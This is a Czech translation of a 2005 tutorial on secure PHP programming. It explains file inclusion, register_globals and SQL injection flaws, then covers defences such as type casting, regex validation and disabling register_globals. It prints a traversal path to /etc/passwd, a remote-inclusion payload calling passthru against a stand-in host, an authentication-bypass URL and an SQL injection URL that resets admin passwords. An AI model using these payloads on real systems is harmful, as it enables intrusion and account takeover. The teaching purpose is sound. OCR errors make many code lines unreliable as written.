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PHP - Bezpecné programovani

Vlozil/a clusk [1], 26 Listopad, 2005 - 12:05

e Programming [2]
e Security [3]

Po dlouhé dobé vam prinasim preklad jednoho z mnoha ¢lank( o bezpe¢ném programovani v PHP.
Sezndmi vas jak s metodami zabezpezpeceni, tak s triky pro zneuziti nechrdnéné aplikace...

Uvod

Cilem tohoto dokumentu neni jen poukazani na bézné hrozby a problémy, které pfi programovani
bezpecnych aplikaci mohou nastat, ale ukdzat i praktické metody zneuziti. U PHP je pozoruhodné, ze
i lidé s malymi nebo zadnymi zkusenostmi v programovani dokazi vytvorit bezpecnostni chybu velmi
rychle. Problémem je na jedné strané to, ze spousty programatord si nejsou védomi, co se vlastné

déje "za oponou". Bezpec¢nost a pohodli ¢asto nejdou ruku v ruce - ale mohou...

Hrozby
Soubory

PHP ma par prizplsobitelnych funkci pro praci se soubory. Funkce include(), require() a fopen()
povoluji uvést cestu k souboru jak lokdIné, tak i vzdalené - URL. Spoustu zranitelnosti, které jsem
vidél bylo ve Spatném zpracovéni proménlivého (dynamicky generovaného) souboru nebo pravé ve
Spatném oSetreni cesty k souboru.

Priklad
Na strance, o které jsem se zde nechtél zmifiovat (protoze problém nebyl stale vyfesen) byl skript,

ktery vklddal dané HTML soubory a zobrazoval je pfimo v layoutu strdnky. Podivejte se na nasledujici
odkaz:

http://example.com/page.php?i=aboutus.html [4]

Proménnd $i zfejmé obsahuje ndzev souboru, ktery ma byt vliozen. Kdyz se na URL podobné tomuto
podivate zblizka, urdité vas napadne spousta otazek:

Mysli programator na prochazeni adresard pomoci lomitek - i=../../../etc/passwd?
Ovéruje pfiponu .html?

e Pouziva pro vkladani soubord funkci fopen()?

Premyslel o zakdzani vkladani vzdalenych soubord?

V tomto pripadé si mdzeme na vSechny otdzky odpovédét zaporné. Jdeme si hrat :). Je samozrejmé,
ze mUzeme cist veskeré soubory, ke kterym méame prava uzivatele, pod kterym webovy server bézi -
vétsinou httpd. Ale co je vice vzrusujici je fakt, Ze mizeme vlozit HTML soubor néjak takto:

http://example.com/page.php?i=http://evilhacker.org/exec.html [5]

Soubor exec.html obsahuje tento kéd:
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<?php

passthru ("id");

passthru ('Is -al /etc');

passthru ('ping -c 1 evilhaxor.org');

passthru (' echo You have been haxOred | mail root');
?>

Jsem si jist, Ze mate napad, jak pomoci tohoto souboru napachat hodné Spatnych véci ;).

Globalni proménné

Standardné zapisuje PHP vétSinu proménnych do globalniho pole. Samozrfejme je to velmi pohodIiné.
Na druhou stranu se mulzete v rozsahlych skriptech velmi rychle ztratit. Odkud proménna pochazi?
Pokud neni nastavena primo, odkud mdze pochazet? Vsechny EGPCS (Environment, GET, POST,
Cookie a Server) proménné jsou ulozeny v globalnim poli.

Globalni asociativni pole $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST VARS,
$HTTP_COOKIE_VARS, HTTP_SERVER VARS a $HTTP_SESSION_VARS jsou vytvéareny, pokud je
nastavena direktiva track vars. Toto nastaveni vdm pom{ze najit proménné pouze na tom misté,
kde je olekdvate. Pozndmka: Od PHP verze 4.0.3 je track_vars vzdy nastaveno.

Priklad

Tato bezpeclnostni vada byla nahldSena na Bugtraqg od Ismael Peinado Paloma dne 27.7. 2001.
Webovy server pouzivajici Mambo Site Server 3.0.x, nastroj pro tvorbu portélu a spravu obsahu
zalozeny na PHP a MySQL, byl napadnutelny skrze exploit vyuzivajici pravé globalniho pole. Kéd byl
pozménén a zjednodusen.

Ve slozce 'admin/' se nachazi soubor index.php, ktery po vlozeni do formulare ovéruje zadané heslo s
heslem ulozenym v databazi:

<?php
($dbpass == $pass) {
session_register("mynane");
session_register("fullnanme");
session_register("userid");
header (" Locati on: index2.php");

}
?>

Pokud heslo souhlasi, proménné $myname, $fullname a $userid jsou zaregistrované jako session
proménné. Poté je uzivatel présmérovan na soubor index2.php. Podivejme se, co se déje tam:

<?php
(! $PHPSESSI D) {
header (" Locati on: index.php");
exit(0);
} {
session_start();
(!$nynane) session_register("nmynanme");
(!'$ful l name) session_register("full name");
(!'$userid) session_register("userid");
}
?>
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Pokud neni ID sezeni ($PHPSESSID) nastaveno, uzivatel bude presmérovan zpatky na stranku s
prihldsenim. Pokud ID sezeni existuje, skript pokracuje a ukladd proménné sezeni do globalniho pole.
Pékné. Podivejme se ted, jak toho zneuzit.

Uvazujme nad nasledujicim odkazem:

http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname=joe... [6]

GET proménné $PHPSESSID, $myname, $fullname a $userid jsou standardné vytvoreny jako globalni
proménné. Takze pokud se podivate na strukturu if-else vyse, musite si vSimnout Zze proménnd
$PHPSESSID je nastavena a tfi proménné urlené k ovéreni a identifikovani uzivatele mohou byt
nastaveny na cokoliv budete chtit. Databédze ani nebyla dotdzédna o heslo. Rychl& oprava této vady -
mélo by se ovérovat $HTTP_SESSION_VARS['userid'] nebo $_SESSION['userid'] (PHP => v4.1.0) misto
pouhého $userid.

SQL

Programovani v PHP m{ze byt nudné bez vyuziti SQL databaze. Avsak pokud nebudou spravné
oSetreny proménné, mlzeme poskladat nebezpelny SQL poZadavek.

Priklad

Nasledujici chyba byla nalezena v produktu PHP-Nuke verze 5.x. Jedna se o kombinaci zneuziti
globalnich proménnych a neovéreni spravnosti proménné, ze které se pozdéji skldda SQL dotaz.

Vyvojari PHP-Nuka se rozhodli pfidat pfedponu "nuke" vSem tabulkdm v databdzi, které maji co
docinéni s jejich skripty. Pfedpona muUze byt zménéna, pokud chcete aby vice PHP-Nuk{ pouzivalo
stejnou databdazi. Standardné je v konfiguraénim souboru config.php nastavena proménnd takto -
$prefix = "nuke";

Pojdme se nyni podivat na nékolik rddek ze souboru article.php.

<?php
(lisset($mainfile)) {
("mainfile.php");
}
('isset($sid) && !isset($tid)) {
exit();
}
?>

A o néco niz, SQL dotaz:

<?php
nmysqgl _query("UPDATE $prefix". _stories.
SET count er =count er +1 where si d=$sid");
?>

Abychom pozménili SQL dotaz, potfebujeme prenastavit proménnou $prefix. Mlzeme to provést
napriklad pres proménnou GET, které nastavime libovolnou hodnotu. Konfigura¢ni soubor config.php
je vkladan do souboru mainfile.php. Jak vime z predes|é kapitoly, mizeme nastavit proménné
$mainfile, $sid a $tid na jakoukoli hodnotu pomoci GET parametru. Soubor mainfile.php si poté bude
myslet, Zze byl config.php vlozen a proménna $prefix byla patfi¢né nastavena. Pravé ted se
nachazime pred samotnym pozménénim SQL dotazu UPDATE. Nasledujici dotaz nastavi vSem
administratordm hesla na '1';
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http://example.com/article.php?mainfile=1&sid=1&tid=1&prefix=nuke.author... [7]

SQL dotaz vypada po zméné takto:
UPDATE nuke. nuke_aut hors SET pwd=1#_stories
SET count er =count er VWHERE si d=$si d");

VSe, co se nachazi za #, bude brano jako komentar a bude ignorovano.

Bezpecné programovani

Priprava proménnych

Pred samotnym bezpecnostnim opatfenim muzete urdit, kterému externimu vstupu bude vibec
dlvérovano. Zda se bude jednat o GET, POST nebo tfeba cookie.

Ovéreni uzivatelskych proménnych
Kazda externi proménnda by méla byt ovérena. V mnoha pripadech mizete pouzit pretypovani. Pokud
napriklad prochazite zdznamy v databdzi pomoci proménné id, kterd je predavana jako GET

parametr, nasledujici trik vdm pomUze zabezpedit dany skript:

$id = (int)$HTTP_GET_VARS['id'];

nebo

$id

(int)$ GET['id]; [* (PHP => v4.1.0) */

Ted si mlzete byt jisti, Ze je proménna $id opravdu typu integer. Pokud se nékdo pokusi proménnou
pozménit na typ string (fetézec), bude automaticky pretypovéna podle pravidel na ¢islo. Ovérovani
fetézcl je o trochu obtiznéjsi. Podle mé vede jedind profesionalni cesta pres regularni vyrazy. Ja vim,
Ze se jim spousta z vas zkousi vyhnout - ale vérte mi ;) - jsou skvélé, pokud je jednou pochopite.
Napriklad proménna $i z GpIné prvniho prikladu mdze byt pomoci regularniho vyrazu ovérena takto:

<?php
(ereg(""a-z]+\.htnm$", $i)) {
" Good!";
} {
di e("Try hacki ng sonebody else's site.");
}
?>

Skript bude pokracovat jen v pripadé, ze proménna $i bude obsahovat ndzev souboru zacinajici
nékterym z malych pismen 'a' az 'z' a bude kon¢it na .html.

Hlavni a globalni proménna pole

Jsem rad, ze jsem nestihl dopsat tento ¢lanek na zacatku Prosince 2001, protoze mezitim stihnuli
Andi a Zeev pridat velmi uzite¢na pole do PHP verze 4.1.0: $ GET, $ POST, $ COOKIE, $ SERVER,
$ ENV and $ SESSION. Od této doby jsou proménné $HTTP_* VARS zastaralé.

Udélejte si laskavost a vypnéte si direktivu register_globals (nastavit na hodnotu off). Od ted nejsou
vaSe proménné GET, POST, Cookie, Server, Environment a Session v globalnim poli. Samoziejmé ted'
bude potfeba zménit programovaci praktiky. Ale kazdopadné je dobré védét, odkud se proménné
berou. Velmi vdm to pomUze pfi zocelovani vasich skriptl. Jednoduchy priklad vam ozrejmi rozdil:
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Spatné:
<?php
function session_auth_check() {
gl obal $auth;
(!'$auth) {
di e("Aut hori zation required.");
}
}
?>
Spravné:
<?php

function session_auth_check() {
(!'$_SESSION "auth']) {
di e("Aut hori zation required.");

?>

Protokolovani
V produk&nim prostredi je dobré mit nastavenou direktivu error_reporting na 0. PouZzivejte funkci
error_log() na zaznamenavani chyb do souboru nebo k posilani chyb e-mailem.

Pokud se opravdu zajimate o bezpecnost, mlzete si vytvorit preventivni "detekci prinikd". Napriklad
si mUzete ze skriptu posilat e-mail, ktery vas upozorni v pripadé, Ze si nékdo bude hrat s parametry
proménnych GET/POST/Cookie a vase regularni vyrazy v podminkdch budou vracet hodnotu false.

Zaveér

Bezpecné programovani chce o néco vice ¢asu, nez technika "Jee, ono to funguje!". Jak ale vidite na
prikladech, nem{zete si dovolit bezpecnost ignorovat. Doufam, Zze jsem vam poradil, jak zlepsit vase
existujici programy a zménil vase praktiky programovani do budoucna.

Veselé hackovani!

Thomas Oertli

Na konec se chci omluvit za Spatny nebo nepochopitelny preklad jednotlivych ¢asti textu. Kdyby vam
néco nedavalo smysl, nebo by jste prelozili Iépe, nevahejte a napiste mi do komentard. Neni to
prekladddno ani doslova, ani "presné spravné", ale vyznamoveé to odpovida :)

Original naleznete na strance http://www.zend.com/zend/art/art-oertli.php [8].
(Pozndmka: v origindle je malinka chybicka ve tretim kdédu od konce - $id misto $i)

Velmi podobny ¢lanek s dalSimi (rozsifujicimi) informacemi naleznete zde:
http://www.linuxjournal.com/article/6061 [9]

Jiz pred néjakou dobou zde napsal pogik ¢ladnky tykajici se bezpe¢nosti PHP a databazi:
http://security-portal.cz/clanky/script-injection-php-remote-exploit.html [10]
http://security-portal.cz/clanky/sql-injection.html [11]

A nakonec musim odkéazat také na perfektni ¢esky weblog http://php.vrana.cz [12]
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